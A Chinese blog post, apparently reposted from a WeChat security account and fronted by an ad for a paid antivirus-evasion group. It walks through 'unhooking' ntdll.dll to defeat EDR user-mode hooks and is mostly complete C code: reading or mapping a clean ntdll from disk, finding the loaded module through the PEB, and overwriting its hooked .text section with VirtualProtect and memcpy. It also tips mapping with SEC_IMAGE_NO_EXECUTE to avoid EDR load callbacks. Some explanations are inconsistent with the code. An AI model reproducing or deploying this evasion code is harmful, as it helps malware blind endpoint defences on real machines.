欢迎加入我的知识星球,目前正在更新免杀相关的东西,129/永久,每100人加29,每周更新2-3篇上千字PDF文档。文档中会详细描述。目前已更新93+ PDF文档,《2025年了,人生中最好的投资就是投资自己!!!》
加好友备注(星球)!!!
一些纷传的资源:
等等....
简介
我们之前都是直接通过使用直接系统调用的方式来绕过用户态钩子,通过在项目文件中创建并调用系统调用来实现此目标。还有另外一种方法也可以绕过用户态的钩子,那么这种方法是将已经加载到进程中的钩子DLL
替换为一个未经修改且未被钩主的版本来达到相同的目标。
将勾住的DLL
替换为一个未被勾住的版本需要手动设置导入地址表,修复重定位表以及其他繁琐的过程。为了避免这一复杂的过程。我们可以直接替换DLL
文件的一部分,特别是包含钩子的.text
区域。.text
区域中包含了DLL
导出函数的代码。一般钩子都会安装在这个区域。
那么要替换.text
区域是非常简单的,只需要获取到其基址和大小,这些信息都是位于IMAGE_OPTIONAL_HEADER
头部中的BaseOfCode
字段和SizeOfCode
字段。
另外一种方法是获取到.text
区域基址和大小的方法是通过IMAGE_SECTION_HEADER
头部,搜索.text
字符串在IMAGE_SECTION_HEADER.Name
数组中的位置。
那么为了替换.text
区域的内容,就需要去更改该区段的内存权限。通常情况下,.text
段被标记为可读可执行的权限。为了能够替换为新的.text
区域,那么就必须修改内存权限以允许写入数据,可以通过VirtualProtect
Win API
来修改内存权限。我们必须将.text
区域的权限设置为PAGE_EXECUTE_READWRITE
权限。
对于大多数的DLL
文件来说,.text
区域在磁盘上的偏移量为0x400
,也就是1024
。我们可以使用Pe-Bear
来查看。
那么我们在想为什么偏移是400?
在Widows
PE
文件格式中,.text
区域存放的是程序的代码,例如DLL
中的导出函数,PE
文件的结构通常要求 .text
区段从特定的内存位置开始,以确保内存的对齐和访问效率。
那么当DLL
被加载到内存中时,文件中的偏移量会发生变化,对于大多数的DLL
文件,.text
区域的偏移通常会被设置为0x1000
。这是因为在内存中,Windows
通常采用4KB
,作为默认的内存页大小。其实也是为了对其。
磁盘上的偏移与内存上的偏移
DLL
的.text
段在磁盘上的偏移和加载到内存中的偏移是存在差异的。在磁盘上的偏移DLL
的.text
段通常会以1kb
(1024字节)为对其单位。而在内存中,当DLL
被加载到进程的内存空间中时,操作系统会将它映射到虚拟内存,并且会使用4KB
的页面对其。这意味着DLL
的.text
段在内存中的偏移会被对齐到4KB
的边界。
接下来我们将从磁盘上来获取ntdll.dll
。从磁盘上获取到的ntdll.dll
文件是从未被篡改的版本。在Windows
操作系统中,Ntdll.dll
通常位于C:WindowsSystem32
目录中,通过这种方式,可以从原始的磁盘文件中获取一个干净,未被修改的ntdll.dll
。并将其加载到内存中,替换到目标进程中已经被篡改的版本。
Ntdll解除挂钩-磁盘
首先我们肯定是需要从磁盘上读取Ntdll.dll
文件的。那么我们可以通过GetWindowsDirectoryA
函数来获取当前操作系统的Windows
安装目录的路径。
函数原型如下:
UINT GetWindowsDirectoryA(
LPSTR lpBuffer,
UINT nSize
);
通过CreateFileA
函数来读取ntdll.dll
文件返回文件句柄。
获取该ntdll.dll
文件的大小,再去申请一块内存用于将Ntdll.dll
读取到内存中。
如下代码:
#include <Windows.h>
#define NTDLL "NTDLL.DLL" // 定义 ntdll.dll 的文件名
// 从磁盘读取 ntdll.dll 文件到缓冲区
BOOL ReadNtdllFromDisk(OUT PVOID* ppNtdllBuf) {
CHAR cWinPath[MAX_PATH / 2] = { 0 }; // 存储 Windows 目录的路径
CHAR cNtdllPath[MAX_PATH] = { 0 }; // 存储 ntdll.dll 的完整路径
HANDLE hFile = NULL; // 用于存储文件句柄
DWORD dwNumberOfBytesRead = NULL, // 读取的字节数
dwFileLen = NULL; // 文件的总字节长度
PVOID pNtdllBuffer = NULL; // 用于存储 ntdll.dll 内容的缓冲区
// 获取 Windows 目录路径(例如 C:Windows)
if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == 0) {
printf("[!] GetWindowsDirectoryA 失败,错误代码:%d n", GetLastError());
goto _EndOfFunc; // 如果失败,跳转到结束部分
}
// 使用 Windows 目录路径构建 ntdll.dll 的完整路径
// 示例路径:C:WindowsSystem32ntdll.dll
sprintf_s(cNtdllPath, sizeof(cNtdllPath), "%s\System32\%s", cWinPath, NTDLL);
// 打开 ntdll.dll 文件,获取文件句柄
hFile = CreateFileA(cNtdllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[!] CreateFileA 失败,错误代码:%d n", GetLastError());
goto _EndOfFunc; // 如果打开文件失败,跳转到结束部分
}
// 获取文件大小
dwFileLen = GetFileSize(hFile, NULL);
// 为文件内容分配足够的内存
pNtdllBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileLen);
// 读取 ntdll.dll 文件内容
if (!ReadFile(hFile, pNtdllBuffer, dwFileLen, &dwNumberOfBytesRead, NULL) || dwFileLen != dwNumberOfBytesRead) {
printf("[!] ReadFile 失败,错误代码:%d n", GetLastError());
printf("[i] 读取了 %d 字节,预期读取 %d 字节 n", dwNumberOfBytesRead, dwFileLen);
goto _EndOfFunc; // 如果读取文件失败,跳转到结束部分
}
// 将读取到的文件内容传递给调用者
*ppNtdllBuf = pNtdllBuffer;
_EndOfFunc:
// 清理资源
if (hFile)
CloseHandle(hFile); // 关闭文件句柄
if (*ppNtdllBuf == NULL)
return FALSE; // 如果没有成功读取文件内容,返回 FALSE
else
return TRUE; // 成功读取文件,返回 TRUE
}
int main() {
PVOID ntdllbuffer = NULL;
ReadNtdllFromDisk(&ntdllbuffer);
}
接下来需要使用CreateFileMappingA
和MapViewOfFile
函数来映射Ntdll
了。
如果我们要使用CreateFileMappingA
和MapViewOfFile
函数来从C:WindowsSystem32
读取并映射ntdll.dll
。你可以利用Windows
加载DLL
并处理内存对齐的方式。使用 CreateFileMappingA
和 MapViewOfFile
时,内存中的.text
段偏移将为4096 字节。
这是Windows
默认的页面大小。如果你希望将文件映射到内存,但是避免触发安全回调(PsSetLoadImageNotifyRoutine
),可以使用SEC_IMAGE_NO_EXECUTE
标记。该标记确保文件映射时不会赋予执行权限。从而避免EDR
等工具检测到。
这里的安全回调PsSetLoadImageNotifyRoutine
例程会注册一个驱动程序提供的回调。虽然每当无论是EXE
还是DLL
被加载的时候,都会接收到通知。
如下代码:
#define NTDLL "NTDLL.DLL"
BOOL MapNtdllFromDisk(OUT PVOID* ppNtdllBuf) {
HANDLE hFile = NULL, // 文件句柄,用于打开 ntdll.dll 文件
hSection = NULL; // 映射文件的句柄
CHAR cWinPath [MAX_PATH / 2] = { 0 }; // 存储 Windows 系统目录的路径
CHAR cNtdllPath [MAX_PATH] = { 0 }; // 存储 ntdll.dll 的完整路径
PBYTE pNtdllBuffer = NULL; // 存储映射到内存中的 ntdll.dll 文件数据
// 获取 Windows 系统目录路径(如 C:Windows)
if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == 0) {
printf("[!] GetWindowsDirectoryA 获取系统目录失败. 错误: %d n", GetLastError());
goto _EndOfFunc;
}
// 使用更安全的 sprintf_s 函数,拼接出 ntdll.dll 的完整路径
sprintf_s(cNtdllPath, sizeof(cNtdllPath), "%s\System32\%s", cWinPath, NTDLL);
// 打开 ntdll.dll 文件,获取文件句柄
hFile = CreateFileA(cNtdllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[!] CreateFileA 打开文件失败. 错误: %d n", GetLastError());
goto _EndOfFunc;
}
// 创建文件映射对象,使用 'SEC_IMAGE_NO_EXECUTE' 标志,禁止执行映射区域
hSection = CreateFileMappingA(hFile, NULL, PAGE_READONLY | SEC_IMAGE_NO_EXECUTE, NULL, NULL, NULL);
if (hSection == NULL) {
printf("[!] CreateFileMappingA 创建文件映射失败. 错误: %d n", GetLastError());
goto _EndOfFunc;
}
// 将文件映射到内存中,创建视图(只读)
pNtdllBuffer = MapViewOfFile(hSection, FILE_MAP_READ, NULL, NULL, NULL);
if (pNtdllBuffer == NULL) {
printf("[!] MapViewOfFile 映射文件失败. 错误: %d n", GetLastError());
goto _EndOfFunc;
}
// 返回映射后的 ntdll.dll 内存基址
*ppNtdllBuf = pNtdllBuffer;
_EndOfFunc:
// 关闭文件句柄和文件映射句柄
if (hFile)
CloseHandle(hFile);
if (hSection)
CloseHandle(hSection);
// 如果映射失败,返回 FALSE;否则返回 TRUE
if (*ppNtdllBuf == NULL)
return FALSE;
else
return TRUE;
}
如上无论是从磁盘中读取Ntdll
还是以文件映射的方式,其实都是将Ntdll
到内存中。需要注意的是Ntdll
文件如果是从磁盘上读取而不是映射到内存时,其.text
段的偏移量可能是4096,而不是1024,所以将文件映射到内存时比较可靠的。因为.text
偏移量始终等于IMAGE_SECTION_HEADER.VirtualAddress
DLL 文件的偏移量。
为了解除Ntdll.dll
的挂钩Hook
,需要执行一系列的操作。为了替换本地被Hook
的ntdll.dll
的.text
段,必须首先获取基地址和大小。这可以通过多种方式完成。但是首先需要获取到本地ntdll.dll
模块的句柄。
我们可以通过GetModuleHandle
来获取到ntdll.dll
模块的句柄。但是这种方式依赖于Windows API
的实现。
我们都知道在x64
系统上,PEB
的地址存储在GS
寄存器的偏移0x60
处。在x86
系统上,PEB
的地址存储在FS
寄存器的偏移0x30
处。
我们可以通过内联汇编指令来获取PEB
.
#ifdef _WIN64
PPEB pPeb = (PPEB)__readgsqword(0x60); // 读取 GS 寄存器 0x60 偏移
#elif _WIN32
PPEB pPeb = (PPEB)__readfsdword(0x30); // 读取 FS 寄存器 0x30 偏移
#endif
那么获取到PEB
的地址之后就可以通过遍历LDR
链表。首先通过pPeb->Ldr->InMemoryOrderModuleList
获取到双向链表。该双向链表中包含了已加载模块的信息。
Flink
指向链表中的下一个节点,第一次Flink
指向当前模块,这通常是EXE
文件,第二次Flink
指向Ntdll
模块,减去0x10
的偏移及为模块的PLDR_DATA_TABLE_ENTRY
结构。
PLDR_DATA_TABLE_ENTRYpLdr= (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10);
return pLdr->DllBase;
#include <Windows.h>
#define NTDLL "NTDLL.DLL" // 定义 ntdll.dll 的文件名
// 定义泛型的 PEB 和 TEB 类型
typedef struct _PEB_LDR_DATA {
ULONG Length;
UCHAR Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashLinks;
PVOID TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
typedef struct _PEB {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
BOOLEAN BitField;
PVOID Mutant;
PVOID ImageBaseAddress;
PPEB_LDR_DATA Ldr;
PVOID ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PVOID FastPebLock;
PVOID AtlThunkSListPtr;
PVOID IFEOKey;
ULONG CrossProcessFlags;
PVOID KernelCallbackTable;
ULONG SystemReserved[1];
ULONG AtlThunkSListPtr32;
PVOID ApiSetMap;
} PEB, * PPEB;
PVOID FetchLocalNtdllBaseAddress() {
#ifdef _WIN64
PPEB pPeb = (PPEB)__readgsqword(0x60); // 获取 PEB 地址
#elif _WIN32
PPEB pPeb = (PPEB)__readfsdword(0x30); // 获取 PEB 地址
#endif
// 获取 ntdll.dll 模块(LDR 链表中的第二个条目)
PLDR_DATA_TABLE_ENTRY pLdr = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10);
// 返回 ntdll.dll 的基址
return pLdr->DllBase;
}
int main() {
PVOID ntdllbuffer = NULL;
ReadNtdllFromDisk(&ntdllbuffer);
MapNtdllFromDisk(&ntdllbuffer);
PVOID ntdllbase = NULL;
ntdllbase = FetchLocalNtdllBaseAddress();
}
那么现在就可以通过可选PE
头来获取.text
段信息了。在可选PE
头中提供了.text
段的基地址。
那么首先的话肯定是需要解析DOS头
。
PIMAGE_DOS_HEADERpLocalDosHdr= (PIMAGE_DOS_HEADER)ntdllbase;
Nt
头。PIMAGE_NT_HEADERSpLocalNtHdrs= (PIMAGE_NT_HEADERS)((PBYTE)ntdllbase + pLocalDosHdr->e_lfanew);
Nt头
之后,通过Nt
头定位到可选PE
头的BaseCode
字段。通过BaseCode
字段的值加上ntdll
的基地址就可以获取到.text
段的地址了。PVOIDpLocalNtdllTxt= (PVOID)(pLocalNtHdrs->OptionalHeader.BaseOfCode + (ULONG_PTR)ntdllbase);
也可以通过可选PE
头中的SizeOfCode
字段来获取到.text
段的大小。
获取到.text
段的基地址以及大小之后。
接下来,我们需要获取到未挂钩的ntdll.dll
文件的.text
段的基地址。为此我们可以使用ReadNtdllFromDisk
函数或MapNtdllFromDisk
函数。需要注意的是如果使用ReadNtdllFromDisk
函数,则.text
段的偏移量为1024
个字节。这是因为我们从磁盘读取文件时。那么如果使用MapNtdllFromDisk
,.text
段的偏移量等于ntdll.dll
在映射后的IMAGE_SECTION_HEADER.VirtualAddress
。
那么其实说白了如果你通过映射文件的方式,.text
段的基地址通常会通过 IMAGE_SECTION_HEADER.VirtualAddress
来确定,所以我们需要通过Ntdll
模块的基地址加上IMAGE_SECTION_HEADER.VirtualAddress
。那么如果你是通过文件读取的方式,.text
段的偏移固定为1024
,所以通过Ntdll
模块的基地址加上1024
即可。
下一步我们将替换本地已经挂钩的ntdll.dll
模块的.text
段,并使用未挂钩的.text
段来替换。所以我们首先肯定是需要更改目标.text
段的内存权限,因为我们需要写入,所以需要通过VirtualProtect
函数将其.text
段设置为PAGE_EXECUTE_READWRITE
。然后使用memcpy
函数来进行替换,最后再将权限更改回去。
这里定义了一个ReplaceNtdllTxtSection
函数,该函数的目标是将本地Hook
的Ntdll.dll
的.text
部分替换为未Hook
的版本。该函数使用预处理指令根据ntdll.dll
的方式来调整.text
部分的偏移量。
如下代码:
该函数需要接受一个参数,它需要接受未Hook
的Ntdll.dll
的基地址。
BOOL ReplaceNtdllTxtSection(IN PVOID pUnhookedNtdll) {
PVOID pLocalNtdll = (PVOID)FetchLocalNtdllBaseAddress(); // 获取本地已钩的 Ntdll.dll 基地址
// 打印本地和未钩住的 Ntdll 基地址
printf("t[i] 'Hooked' Ntdll Base Address : 0x%p nt[i] 'Unhooked' Ntdll Base Address : 0x%p n", pLocalNtdll, pUnhookedNtdll);
printf("[#] Press <Enter> To Continue ... ");
getchar();
// 获取 DOS 头
PIMAGE_DOS_HEADER pLocalDosHdr = (PIMAGE_DOS_HEADER)pLocalNtdll;
if (pLocalDosHdr && pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE) // 检查 DOS 头签名是否正确
return FALSE;
// 获取 NT 头
PIMAGE_NT_HEADERS pLocalNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)pLocalNtdll + pLocalDosHdr->e_lfanew);
if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE) // 检查 NT 头签名是否正确
return FALSE;
PVOID pLocalNtdllTxt = NULL, pRemoteNtdllTxt = NULL; // 本地已钩住的文本段基地址,未钩住的文本段基地址
SIZE_T sNtdllTxtSize = NULL; // 文本段的大小
// 获取文本段
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pLocalNtHdrs);
for (int i = 0; i < pLocalNtHdrs->FileHeader.NumberOfSections; i++) {
// 判断该节是否为文本段
if ((*(ULONG*)pSectionHeader[i].Name | 0x20202020) == 'xet.') {
// 计算本地文本段基地址
pLocalNtdllTxt = (PVOID)((ULONG_PTR)pLocalNtdll + pSectionHeader[i].VirtualAddress);
#ifdef MAP_NTDLL
// 如果定义了 MAP_NTDLL,使用映射方法获取未钩住的文本段基地址
pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll + pSectionHeader[i].VirtualAddress);
#endif // MAP_NTDLL
#ifdef READ_NTDLL
// 如果定义了 READ_NTDLL,使用读取方法获取未钩住的文本段基地址
pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll + 1024);
#endif // READ_NTDLL
// 获取文本段的大小
sNtdllTxtSize = pSectionHeader[i].Misc.VirtualSize;
break;
}
}
// 打印本地和未钩住的文本段地址及其大小
printf("t[i] 'Hooked' Ntdll Text Section Address : 0x%p nt[i] 'Unhooked' Ntdll Text Section Address : 0x%p nt[i] Text Section Size : %d n", pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize);
printf("[#] Press <Enter> To Continue ... ");
getchar();
//---------------------------------------------------------------------------------------------------------------------------
// 检查是否获取到了所有必需的信息
if (!pLocalNtdllTxt || !pRemoteNtdllTxt || !sNtdllTxtSize)
return FALSE;
#ifdef READ_NTDLL
// 检查 'pRemoteNtdllTxt' 是否为文本段的基地址
if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt) {
printf("t[i] Text section is of offset 4096, updating base address ... n");
// 如果不是,说明读取的文本段的偏移量为 4096,所以我们需要加上 3072(因为已经加过 1024)
(ULONG_PTR)pRemoteNtdllTxt += 3072;
// 再次检查
if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt)
return FALSE;
printf("t[+] New Address : 0x%p n", pRemoteNtdllTxt);
printf("[#] Press <Enter> To Continue ... ");
getchar();
}
#endif // READ_NTDLL
//---------------------------------------------------------------------------------------------------------------------------
// 打印替换文本段的提示
printf("[i] Replacing The Text Section ... ");
DWORD dwOldProtection = NULL;
// 修改文本段的内存权限,使其可写且可执行
if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, PAGE_EXECUTE_WRITECOPY, &dwOldProtection)) {
printf("[!] VirtualProtect [1] Failed With Error : %d n", GetLastError());
return FALSE;
}
// 复制新的文本段内容
memcpy(pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize);
// 恢复原先的内存保护权限
if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, dwOldProtection, &dwOldProtection)) {
printf("[!] VirtualProtect [2] Failed With Error : %d n", GetLastError());
return FALSE;
}
// 打印完成提示
printf("[+] DONE !n");
return TRUE;
}
如上代码的本质其实就是获取到本地已经Hook
的Ntdll
的.text
段和未Hook
的Ntdll
的.text
段。通过VirtualProtect
函数将其.text
段的内存保护权限更改为PAGE_EXECUTE_WRITECOPY
。然后通过mempcy
函数复制新的未Hook
得.text
段到已经Hook
的.text
段。最后将权限修改回来。
这里唯一需要解释的是为何要 检查pRemoteNtdllTxt
是否为文本段的基地址。
这里需要注意的是在某些情况下,Ntdll.dll
的前四个字节可能是会被修改的,如果这些字节不是0xCC 0xCC 0xCC 0xCC
,那么说明ntdll.dll
文件可能被修改过。
假设我们是通过磁盘读取的方式来读取Ntdll.dll
的,判断如果前四个字节是 0xCC 0xCC 0xCC 0xCC
,我们认为文件没有被修改过,此时可以直接使用 1024 字节作为文本段的偏移量。如果前面四个字节不是 0xCC 0xCC 0xCC 0xCC
,则表示文件已经被篡改或勾住。此时我们需要使用真实的偏移量4096。
if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt)
这里的判断很简单。pLocalNtdllTxt
和pRemoteNtdllTxt
分别指向勾住和未勾住的Ntdll.dll
的指针。*(ULONG*)pLocalNtdllTxt
是强制转换为 ULONG*
(无符号长整型指针)然后解引用它们。最后取出它们所指向的内存地址中的4字节数据。其实就是0xCC 0xCC 0xCC 0xCC
。
如上就是Ntdll
通过磁盘解除挂钩的学习思路。
原文始发于微信公众号(Relay学安全):Ntdll解除挂钩学习
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论